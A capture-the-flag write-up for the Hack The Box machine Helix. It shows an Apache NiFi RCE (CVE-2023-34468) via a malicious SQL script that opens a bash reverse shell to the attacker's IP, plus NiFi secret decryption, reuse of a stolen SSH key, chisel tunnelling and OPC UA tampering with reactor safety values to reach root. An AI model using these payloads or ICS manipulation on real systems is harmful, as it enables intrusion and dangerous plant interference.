Hack The Box / LINUX / 2026-08-08
Hack The Box - Helix (Linux)
We find a hidden virtual host flow.helix.htb that runs Apache NiFi 1.21.0, which is vulnerable to CVE-2023-34468. We exploit this vulnerability to get a reverse shell as the user operator. We find the operator's SSH private key and use it to SSH into the target machine. We find that we can run the program helix-maint-console as root, but it requires a privileged maintenance window to be open. We find an OPC UA port that allows us to change some values in the plant, which opens the privileged maintenance window, allowing us to run helix-maint-console and get a root shell.
Target
IP: 10.129.39.25
Port scan
sudo nmap -sC -sV 10.129.39.25 -p- -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
|_ 256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Helix Industries | Industrial Automation & Critical Infrastruc...
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add helix.htb to /etc/hosts.
Initial enumeration
Go to http://helix.htb. We can:
-
Start a project --> On the website we read: "Submit a brief. We review every intake and respond within one business day with a practical path forward."
-
Request a call --> On the website we read: "Speak directly with one of our engineers. No account managers, no discovery scripts: straight to substance."
Both of them have a form to submit. Submitting the forms doesn't produce any HTTP request.
Vhosts enumeration
Let's check if there are hidden virtual hosts:
gobuster vhost -u 'http://helix.htb/' -w /home/kali/wordlists/subdomains-top1million-110000.txt -t 50 --append-domain
flow.helix.htb Status: 200 [Size: 1068]
Add flow.helix.htb to /etc/hosts.
Go to http://flow.helix.htb. We land in http://flow.helix.htb/nifi/.
It's Apache NiFi Flow. By clicking on the "hamburger" menu on the top right, and on "About", we see that the version is 1.21.0.
CVE-2023-34468 - Apache NiFi RCE
Searching on internet, we find that this version is vulnerable to CVE-2023-34468, a RCE vulnerability.
The exploitation steps are explained in this PDF file: https://github.com/mbadanoiu/CVE-2023-34468/blob/main/Apache%20NiFi%20-%20CVE-2023-34468.pdf
Some steps are already done. We see that there is a ExecuteSQL processor. We can edit its properties. Edit the property "SQL select query" and set it to something like:
RUNSCRIPT FROM 'http://10.10.16.41:5555/rce.sql'
Where 10.10.16.41 is the IP of our attacking machine.
Start a listener on our attacking machine:
nc -vlnp 4444
Now we need to create the rce.sql file with the following content:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new
java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.16.41/4444 0>&1');
Now click on start on the ExecuteSQL processor. We should get a reverse shell.
ls -la /home
We see a user named operator.
Optional: Decrypting operator credentials
Apache nifi stores sensitive properties (like processor passwords) in the flow.xml.gz or flow.json.gz file located in the conf/ directory. The sensitive properties are encrypted using the key specified in the nifi.properties file.
cat conf/nifi.properties
We notice:
# security properties #
nifi.sensitive.props.key=TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl
nifi.sensitive.props.key.protected=
nifi.sensitive.props.algorithm=NIFI_PBKDF2_AES_GCM_256
nifi.sensitive.props.additional.keys=
The key is TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl. It's base64 encoded.
Now, let's grab the flow.xml.gz file:
cp conf/flow.xml.gz /tmp
cd /tmp
gunzip flow.xml.gz
cat flow.xml
We notice:
<property>
<name>Database User</name>
<value>operator</value>
</property>
<property>
<name>Password</name>
<value>enc{158dd2562f5003335106dce0755b61fb7b4f10db6749ede3af6032daf3eb5d6b53fc49af0ab699b03a9fc3bd9e08b32b575d}</value>
</property>
We can leverage the target system to decrypt the password. We can create a Java program that uses the same encryption algorithm and key to decrypt the password.
cd /opt/nifi-1.21.0
mkdir decryptor
In decryptor folder, create a file named Decrypt.java with the following content:
package decryptor;
import org.apache.nifi.encrypt.PropertyEncryptor;
import org.apache.nifi.encrypt.PropertyEncryptorBuilder;
public class Decrypt {
public static void main(String[] args) {
try {
// From nifi.properties
final String key = "TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl";
// From nifi.properties
final String algorithm = "NIFI_PBKDF2_AES_GCM_256";
final PropertyEncryptor encryptor =
new PropertyEncryptorBuilder(key)
.setAlgorithm(algorithm)
.build();
// Remove enc{ } if present
final String encrypted =
"57907f7d4280bcace847269aa75fbfd433f8ef25fc934a4a4f2eeed66c26450a50ac765c2e03a2c725d169e3c6f065a04fb8";
final String decrypted = encryptor.decrypt(encrypted);
System.out.println(decrypted);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Compile with:
javac -cp "/opt/nifi-1.21.0/lib/*:/opt/nifi-1.21.0/lib/bootstrap/*" decryptor/Decrypt.java
Run with:
java -cp "/opt/nifi-1.21.0/lib/*:/opt/nifi-1.21.0/lib/bootstrap/*:." decryptor.Decrypt
We get the decrypted password: R7qZ9L3xKM2W8pFYcA. However, it seems useless.
Recovering operator SSH key
Inspecting the folder /opt/nifi-1.21.0, we find the folder support-bundles. Inside it, there is a file operator_id_ed25519.bak. This seems to be a backup of the operator's SSH private key. We can copy it to our attacking machine in a file operator_key and use it to SSH into the target machine as operator.
chmod 600 operator_key
ssh -i operator_key operator@helix.htb
We get a shell as operator.
Sudo permissions
Let's check sudo permissions:
sudo -l
Matching Defaults entries for operator on helix:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User operator may run the following commands on helix:
(root) NOPASSWD: /usr/local/sbin/helix-maint-console
Let's run it:
sudo helix-maint-console
Maintenance window CLOSED.
So, apparently, at the moment we cannot use it.
OPC UA port 4840 - Maintenance window
On the shell, run:
ss -ltpn
State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0 50 127.0.0.1:8080 0.0.0.0:* users:(("java",pid=1088,fd=41))
LISTEN 0 128 127.0.0.1:8081 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 100 127.0.0.1:4840 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 50 127.0.0.1:35017 0.0.0.0:* users:(("java",pid=1088,fd=79))
LISTEN 0 50 [::ffff:127.0.0.1]:36289 *:* users:(("java",pid=1020,fd=57))
LISTEN 0 128 [::]:22 [::]:*
The port 4840 is a well known port for OPC UA protocol.
We also see the port 8081. Let's forward both ports to our attacking machine with chisel.
On the attacking machine, run:
./chisel server --port 7777 --reverse
On the target machine, run:
./chisel client http://10.10.16.41:7777 R:127.0.0.1:8081:127.0.0.1:8081 R:127.0.0.1:4840:127.0.0.1:4840
Let's look at the port 8081. With the browser, go to http://127.0.0.1:8081. We see:
Reactor
Temperature: 284.0 °C
Pressure: 69.00 bar
Raw Temp: 284.0 °C | CalibrationOffset: 0.0 °C
Safety
Trip Active: False
Rods Inserted: False
Emergency Cooling: False
Control
Mode: NORMAL
Test Override: False
Test Mode Active: NO
OPC UA (internal): opc.tcp://127.0.0.1:4840/helix/
Privileged Maintenance Window
Status: CLOSED
No maintenance window file present.
This window is granted by the safety controller only when a hazardous test condition is detected (e.g., Temp ≥ 295°C or Pressure ≥ 73 bar) while still below trip.
There seems to be some kind of sensor readings for a plant. There are also some control and safety features. We also see the OPC UA internal address.
Here we read of a privileged maintenance window that can be opened when some hazardous conditions are detected (e.g., Temp ≥ 295°C or Pressure ≥ 73 bar). It could be related to the helix-maint-console program that we can run as root.
We can use UAExpert to connect to the OPC UA port. Run UAExpert, add the server with the address 127.0.0.1 and port 4840 and connect to it.
We see two nodes: Plant and Server.
Plant has three nodes with some values:
- Control
- Mode
- ResetTrip
- TestOverride
- Reactor
- CalibrationOffset
- Pressure
- Temperature
- TemperatureRaw
- Safety
- EmergencyCooling
- RodsInserted
- TripActive
To change a value, we can drag the value to the "Data Access View" on the center, then we can double click on the value and change it.
So, to trigger the privileged maintenance window, we can change the temperature to something higher than 295°C. By playing with UAExpert, we notice that we cannot change the temperature value. However, we can change the CalibrationOffset, which is added to TemperatureRaw to get the final temperature. So, we can set the CalibrationOffset to something like 20, which will make the final temperature to be higher than 295°C.
After we do this, we see that the privileged maintenance window is still closed. In fact, we have also to change TestOverride to true, and Mode to MAINTENANCE. After doing this, the privileged maintenance window opens. We have limited time during this window.
After the maintenance window opens, we can run helix-maint-console with sudo.
sudo helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 115 seconds
[!] Session will be terminated automatically
root@helix:/home/operator#
We got a shell as root.